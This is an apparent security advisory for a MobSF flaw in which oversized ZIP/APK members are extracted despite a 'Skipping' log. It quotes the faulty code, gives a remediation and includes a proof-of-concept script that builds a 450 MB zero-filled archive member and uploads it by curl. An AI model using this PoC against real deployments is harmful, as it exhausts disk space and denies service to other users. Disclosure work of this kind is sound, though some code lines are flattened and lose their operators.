CVE-2026-68924: MobSF: Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction
Summary
When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIPMAXUNCOMPRESSEDFILESIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.
Verified Impact (Code Audit)
The vulnerable code path in sharedfunc.py lines 153–182:
python Line 156: Size check if fileinfo.filesize > settings.ZIPMAXUNCOMPRESSEDFILESIZE: sizemb = fileinfo.filesize / (1024 1024) msg = (f'File too large ({sizemb:.2f} MB). Skipping ' f'{sanitizeforlogging(filepath)}') logger.warning(msg) # ← BUG: No 'continue' here! Execution falls through.
Line 161: Total size check (separate) if totalsize > settings.ZIPMAXUNCOMPRESSEDTOTALSIZE: raise Exception(msg)
Line 171-178: Permission fixing (only dirs get 'continue') if fileinfo.isdir(): continue else: fileinfo.externalattr = ...
Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES try: zipptr.extract(filepath, extpath) # ← Runs regardless of size check
The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.
Steps to Reproduce
1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):
python #!/usr/bin/env python3 import zipfile, tempfile, os
output = tempfile.mktemp(suffix='.apk') with zipfile.ZipFile(output, 'w', zipfile.ZIPDEFLATED) as zf: zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>') # 450 MB file (exceeds 400 MB limit) — compresses to ~KB info = zipfile.ZipInfo('assets/huge.bin') info.compresstype = zipfile.ZIPDEFLATED with zf.open(info, 'w') as f: for in range(450): f.write(b'\x00' (1024 1024)) # 1 MB at a time
print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")
2. Upload via API:
bash curl -X POST http://127.0.0.1:8000/api/v1/upload \ -H "X-Mobsf-Api-Key: YOURKEY" \ -F "file=@poc.apk"
3. Trigger scan, then verify:
bash Log says "Skipping" but file exists on disk: grep "File too large" ~/.MobSF/debug.log ls -la ~/.MobSF/uploads/HASH/assets/huge.bin # 450 MB file is there
Why This Is Not a Self-Bug
- This affects any user who scans a maliciously crafted APK - The APK could come from a legitimate-looking package submitted for security review - Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists - Impact: disk exhaustion preventing further scans for other users
Remediation
Add continue after the size warning:
python if fileinfo.filesize > settings.ZIPMAXUNCOMPRESSEDFILESIZE: sizemb = fileinfo.filesize / (1024 1024) msg = (f'File too large ({sizemb:.2f} MB). Skipping ' f'{sanitizeforlogging(filepath)}') logger.warning(msg) continue # ← ADD THIS LINE
Other sources
MobSF is a mobile application security testing tool used. Prior to 4.5.1, the unzip function in mobsf/StaticAnalyzer/views/common/sharedfunc.py logs that an archive member exceeding ZIPMAXUNCOMPRESSEDFILESIZE is being skipped but does not continue to the next member, so an authenticated user can upload a crafted ZIP or APK whose oversized member is extracted to disk when the aggregate ZIPMAXUNCOMPRESSEDTOTALSIZE limit has not yet been reached, potentially exhausting disk space and preventing further scans. This issue is fixed in version 4.5.1.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mobsfto a version that resolves this vulnerability.Fixed in 4.5.1 - Upgrade
Upgrade
MobSFto a version that resolves this vulnerability.Fixed in 4.5.1 - Configuration
In `mobsf/StaticAnalyzer/views/common/shared_func.py` lines 153–182, after the code logs that an archive member exceeding `ZIP_MAX_UNCOMPRESSED_FILE_SIZE` (400 MB) is being skipped, add a `continue` so `zipptr.extract(file_path, ext_path)` does not run for that member.
MobSF unzip function (mobsf/StaticAnalyzer/views/common/shared_func.py) continue after per-file size warning when file exceeds settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE = Add `continue` after logging “Skipping” for oversized members
Event History
Frequently Asked Questions
Which deployments and users are in scope for this issue?
MobSF deployments prior to version 4.5.1 are affected. Exploitation requires an authenticated user who can upload a crafted ZIP or APK for processing.
What conditions must an attacker satisfy to trigger disk exhaustion?
The crafted archive must contain an oversized member that exceeds the per-file ZIP_MAX_UNCOMPRESSED_FILE_SIZE limit while the archive's cumulative uncompressed size remains below ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE. The vulnerable extraction logic logs that the member should be skipped but still extracts it.
What is the available remediation?
Upgrade MobSF to version 4.5.1, which fixes the extraction behavior. The provided information does not specify an alternative mitigation for deployments that cannot yet upgrade.